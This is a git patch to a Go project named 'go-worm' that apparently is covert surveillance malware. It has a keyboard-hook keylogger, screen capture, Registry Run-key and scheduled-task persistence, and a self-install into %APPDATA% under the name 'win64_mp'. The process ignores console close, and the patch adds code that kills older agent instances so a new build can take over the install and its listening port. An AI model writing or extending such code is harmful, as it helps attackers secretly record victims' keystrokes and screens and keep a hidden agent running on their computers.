From 536ea9a53eae0c3c135ab2751108ff7048d4529d Mon Sep 17 00:00:00 2001 From: Daniel Legt Date: Wed, 2 Sep 2026 00:00:24 +0300 Subject: [PATCH] fix(core): take over agent, reuse callbacks - Kill running agents before replace - Retry copy with backoff while locked - Reuse syscall callbacks at package scope - Add callback regression test --- lib/helpers/callback_once_test.go | 76 +++++++++++++++++++++++++++++++ lib/install/install.go | 51 ++++++++++++++++++--- lib/instance/console_windows.go | 8 +--- lib/instance/kill.go | 32 +++++++++++++ lib/instance/kill_stub.go | 5 ++ lib/instance/kill_test.go | 31 +++++++++++++ lib/instance/kill_windows.go | 73 +++++++++++++++++++++++++++++ lib/keylog/hook_windows.go | 5 +- lib/screenshot/screenshot.go | 4 +- lib/startup/startup.go | 25 +++++----- 10 files changed, 281 insertions(+), 29 deletions(-) create mode 100644 lib/helpers/callback_once_test.go create mode 100644 lib/instance/kill.go create mode 100644 lib/instance/kill_stub.go create mode 100644 lib/instance/kill_test.go create mode 100644 lib/instance/kill_windows.go diff --git a/lib/helpers/callback_once_test.go b/lib/helpers/callback_once_test.go new file mode 100644 index 0000000..02de849 --- /dev/null +++ b/lib/helpers/callback_once_test.go @@ -0,0 +1,76 @@ +package helpers + +import ( + "go/ast" + "go/parser" + "go/token" + "io/fs" + "path/filepath" + "strings" + "testing" +) + +// Go never frees syscall.NewCallback (hard cap ~2000). Creating one per +// screenshot frame is a fatal "too many callback functions". +func TestNewCallbackOnlyAtPackageScope(t *testing.T) { + root := filepath.Join("..", "..") + fset := token.NewFileSet() + err := filepath.WalkDir(root, func(path string, d fs.DirEntry, err error) error { + if err != nil { + return err + } + if d.IsDir() { + name := d.Name() + if name == ".git" || name == "vendor" || name == "testdata" { + return filepath.SkipDir + } + return nil + } + if !strings.HasSuffix(path, ".go") { + return nil + } + file, err := parser.ParseFile(fset, path, nil, 0) + if err != nil { + t.Errorf("parse %s: %v", path, err) + return nil + } + for _, decl := range file.Decls { + fn, ok := decl.(*ast.FuncDecl) + if !ok { + continue + } + ast.Inspect(fn, func(n ast.Node) bool { + if !isNewCallbackCall(n) { + return true + } + name := fn.Name.Name + if fn.Recv != nil { + name = "method " + name + } + t.Errorf("%s: syscall.NewCallback inside %s; Go never frees these (cap ~2000)", fset.Position(n.Pos()), name) + return true + }) + } + return nil + }) + if err != nil { + t.Fatal(err) + } +} + +func isNewCallbackCall(n ast.Node) bool { + call, ok := n.(*ast.CallExpr) + if !ok { + return false + } + sel, ok := call.Fun.(*ast.SelectorExpr) + if !ok { + return false + } + switch sel.Sel.Name { + case "NewCallback", "NewCallbackCDecl": + return true + default: + return false + } +} diff --git a/lib/install/install.go b/lib/install/install.go index 5073d8f..3d39778 100644 --- a/lib/install/install.go +++ b/lib/install/install.go @@ -6,12 +6,21 @@ import ( "os" "path/filepath" "strings" + "time" "tea.chunkbyte.com/kato/go-worm/lib/config" + "tea.chunkbyte.com/kato/go-worm/lib/helpers" + "tea.chunkbyte.com/kato/go-worm/lib/instance" + "tea.chunkbyte.com/kato/go-worm/lib/startup" ) +const replaceWait = 8 * time.Second + // Ensure copies the running exe into %APPDATA%\win64_mp\ when needed, // refreshes an existing startup entry to that path, and re-launches from there. +// If an older agent is already installed or listening, it is torn down first. +// Old builds have no version field to compare, so any launch from outside +// the install path takes over. func Ensure() error { target, err := config.InstalledExe() if err != nil { @@ -34,19 +43,47 @@ func Ensure() error { return nil } - if err := copyExe(current, target); err != nil { - if _, statErr := os.Stat(target); statErr != nil { - return fmt.Errorf("copy to %s: %w", target, err) + hadStartup := startup.Enabled() + takeover(target) + if err := replaceExe(current, target); err != nil { + return fmt.Errorf("copy to %s: %w", target, err) + } + if hadStartup { + if err := startup.Enable(); err != nil { + helpers.Log.Printf("takeover: restore startup: %v", err) } } - if err := syncStartup(); err != nil { - return fmt.Errorf("update startup path: %w", err) - } - return relaunchInstalled(target) } +func takeover(installed string) { + helpers.Log.Printf("takeover: replacing %s", installed) + if err := startup.Disable(); err != nil { + helpers.Log.Printf("takeover: disable old startup: %v", err) + } + if err := instance.KillOtherAgents(); err != nil { + helpers.Log.Printf("takeover: kill: %v", err) + } +} + +func replaceExe(from, to string) error { + deadline := time.Now().Add(replaceWait) + var last error + for { + _ = instance.KillOtherAgents() + _ = os.Remove(to) + last = copyExe(from, to) + if last == nil { + return nil + } + if time.Now().After(deadline) { + return last + } + time.Sleep(100 * time.Millisecond) + } +} + func copyExe(from, to string) error { if err := os.MkdirAll(filepath.Dir(to), 0o700); err != nil { return err diff --git a/lib/instance/console_windows.go b/lib/instance/console_windows.go index 2eb33fd..5c20739 100644 --- a/lib/instance/console_windows.go +++ b/lib/instance/console_windows.go @@ -17,7 +17,7 @@ var ( procGetFileType = kernel32.NewProc("GetFileType") user32 = syscall.NewLazyDLL("user32.dll") procShowWindow = user32.NewProc("ShowWindow") - consoleCtrlCallback uintptr + consoleCtrlCallback = syscall.NewCallback(consoleCtrlHandler) ) const ( @@ -58,17 +58,11 @@ func ShowConsole() { // ProtectFromConsoleClose ignores Ctrl+C/Break/close so Task Scheduler and // explorer do not kill the process when the flashed console goes away. func ProtectFromConsoleClose() { - if consoleCtrlCallback == 0 { - consoleCtrlCallback = syscall.NewCallback(consoleCtrlHandler) - } _, _, _ = procSetConsoleCtrl.Call(consoleCtrlCallback, 1) } // AllowConsoleKill restores default Ctrl+C handling for -foreground. func AllowConsoleKill() { - if consoleCtrlCallback == 0 { - return - } _, _, _ = procSetConsoleCtrl.Call(consoleCtrlCallback, 0) } diff --git a/lib/instance/kill.go b/lib/instance/kill.go new file mode 100644 index 0000000..fc4f9a1 --- /dev/null +++ b/lib/instance/kill.go @@ -0,0 +1,32 @@ +package instance + +import ( + "path/filepath" + "strings" + + "tea.chunkbyte.com/kato/go-worm/lib/config" +) + +func shouldKill(selfPID, pid uint32, selfPath, imagePath, installed, exeName string) bool { + if pid == 0 || pid == selfPID { + return false + } + if imagePath != "" && sameFilePath(imagePath, selfPath) { + return false + } + if installed != "" && imagePath != "" && sameFilePath(imagePath, installed) { + return true + } + base := exeName + if base == "" && imagePath != "" { + base = filepath.Base(imagePath) + } + return strings.EqualFold(base, config.InstalledExeName) +} + +func sameFilePath(a, b string) bool { + if a == "" || b == "" { + return false + } + return strings.EqualFold(filepath.Clean(a), filepath.Clean(b)) +} diff --git a/lib/instance/kill_stub.go b/lib/instance/kill_stub.go new file mode 100644 index 0000000..29c32a0 --- /dev/null +++ b/lib/instance/kill_stub.go @@ -0,0 +1,5 @@ +//go:build !windows + +package instance + +func KillOtherAgents() error { return nil } diff --git a/lib/instance/kill_test.go b/lib/instance/kill_test.go new file mode 100644 index 0000000..5fa5d3b --- /dev/null +++ b/lib/instance/kill_test.go @@ -0,0 +1,31 @@ +package instance + +import "testing" + +func TestShouldKill(t *testing.T) { + t.Parallel() + const ( + self uint32 = 10 + selfPath = `C:\Users\me\Downloads\win64_mp.exe` + installed = `C:\Users\me\AppData\Roaming\win64_mp\win64_mp.exe` + ) + cases := []struct { + pid uint32 + image string + exeName string + want bool + }{ + {self, selfPath, "win64_mp.exe", false}, + {11, installed, "win64_mp.exe", true}, + {11, `C:\Temp\win64_mp.exe`, "win64_mp.exe", true}, + {11, "", "win64_mp.exe", true}, + {11, `C:\Windows\System32\notepad.exe`, "notepad.exe", false}, + {0, installed, "win64_mp.exe", false}, + } + for _, tc := range cases { + got := shouldKill(self, tc.pid, selfPath, tc.image, installed, tc.exeName) + if got != tc.want { + t.Fatalf("shouldKill pid=%d image=%q name=%q = %v, want %v", tc.pid, tc.image, tc.exeName, got, tc.want) + } + } +} diff --git a/lib/instance/kill_windows.go b/lib/instance/kill_windows.go new file mode 100644 index 0000000..b669aa4 --- /dev/null +++ b/lib/instance/kill_windows.go @@ -0,0 +1,73 @@ +//go:build windows + +package instance + +import ( + "os" + "path/filepath" + "unsafe" + + "golang.org/x/sys/windows" + + "tea.chunkbyte.com/kato/go-worm/lib/config" +) + +// KillOtherAgents terminates other win64_mp processes so this build can +// replace the AppData install and bind 5032. Skips this PID. +func KillOtherAgents() error { + self := uint32(os.Getpid()) + selfPath, err := os.Executable() + if err == nil { + selfPath, _ = filepath.Abs(selfPath) + } + installed, err := config.InstalledExe() + if err == nil { + installed, _ = filepath.Abs(installed) + } + + snap, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0) + if err != nil { + return err + } + defer windows.CloseHandle(snap) + + var pe windows.ProcessEntry32 + pe.Size = uint32(unsafe.Sizeof(pe)) + if err := windows.Process32First(snap, &pe); err != nil { + return err + } + for { + exeName := windows.UTF16ToString(pe.ExeFile[:]) + image := processImage(pe.ProcessID) + if shouldKill(self, pe.ProcessID, selfPath, image, installed, exeName) { + _ = terminatePID(pe.ProcessID) + } + if err := windows.Process32Next(snap, &pe); err != nil { + break + } + } + return nil +} + +func processImage(pid uint32) string { + h, err := windows.OpenProcess(windows.PROCESS_QUERY_LIMITED_INFORMATION, false, pid) + if err != nil { + return "" + } + defer windows.CloseHandle(h) + var buf [1024]uint16 + n := uint32(len(buf)) + if err := windows.QueryFullProcessImageName(h, 0, &buf[0], &n); err != nil { + return "" + } + return windows.UTF16ToString(buf[:n]) +} + +func terminatePID(pid uint32) error { + h, err := windows.OpenProcess(windows.PROCESS_TERMINATE, false, pid) + if err != nil { + return err + } + defer windows.CloseHandle(h) + return windows.TerminateProcess(h, 1) +} diff --git a/lib/keylog/hook_windows.go b/lib/keylog/hook_windows.go index cbf8d2c..96d234f 100644 --- a/lib/keylog/hook_windows.go +++ b/lib/keylog/hook_windows.go @@ -76,6 +76,8 @@ var ( hookMods modifierState lastHWND uintptr lastTitle string + // ponytail: NewCallback is never freed; reuse across Start/Stop. + hookCB = syscall.NewCallback(keyboardHookProc) ) func startPlatform(_ *Writer, events chan Event, stop <-chan struct{}, done chan struct{}) error { @@ -120,8 +122,7 @@ func runHookThread(ready chan struct{}) error { hookThreadID = windowsGetCurrentThreadId() close(ready) - hookProc := syscall.NewCallback(keyboardHookProc) - handle, _, err := procSetWindowsHookExW.Call(whKeyboardLL, hookProc, 0, 0) + handle, _, err := procSetWindowsHookExW.Call(whKeyboardLL, hookCB, 0, 0) if handle == 0 { return err } diff --git a/lib/screenshot/screenshot.go b/lib/screenshot/screenshot.go index 1fce389..6199c30 100644 --- a/lib/screenshot/screenshot.go +++ b/lib/screenshot/screenshot.go @@ -161,7 +161,9 @@ func attachInputDesktop() error { var ( enumMu sync.Mutex enumBuf []rect - enumCB = syscall.NewCallback(enumMonitor) + // ponytail: syscall.NewCallback is process-global and never freed (~2000 max). + // A closure here every frame is a fatal "too many callback functions". + enumCB = syscall.NewCallback(enumMonitor) ) func enumMonitor(_ uintptr, _ uintptr, monitorRect uintptr, _ uintptr) uintptr { diff --git a/lib/startup/startup.go b/lib/startup/startup.go index 8a67ce4..90f008f 100644 --- a/lib/startup/startup.go +++ b/lib/startup/startup.go @@ -45,23 +45,24 @@ func SyncInstalledPath() error { } func Disable() error { + var regErr error k, err := registry.OpenKey(registry.CURRENT_USER, config.StartupRunKey, registry.SET_VALUE) if err != nil { - if errors.Is(err, registry.ErrNotExist) { - return nil + if !errors.Is(err, registry.ErrNotExist) { + regErr = err + } + } else { + err = k.DeleteValue(config.StartupValueName) + _ = k.Close() + if err != nil && !errors.Is(err, registry.ErrNotExist) { + regErr = err } - return err } - defer k.Close() - err = k.DeleteValue(config.StartupValueName) - if errors.Is(err, registry.ErrNotExist) { - _ = disableWatchdog() - return nil + taskErr := disableWatchdog() + if regErr != nil { + return regErr } - if err != nil { - return err - } - return disableWatchdog() + return taskErr } func installedCommandLine() (string, error) {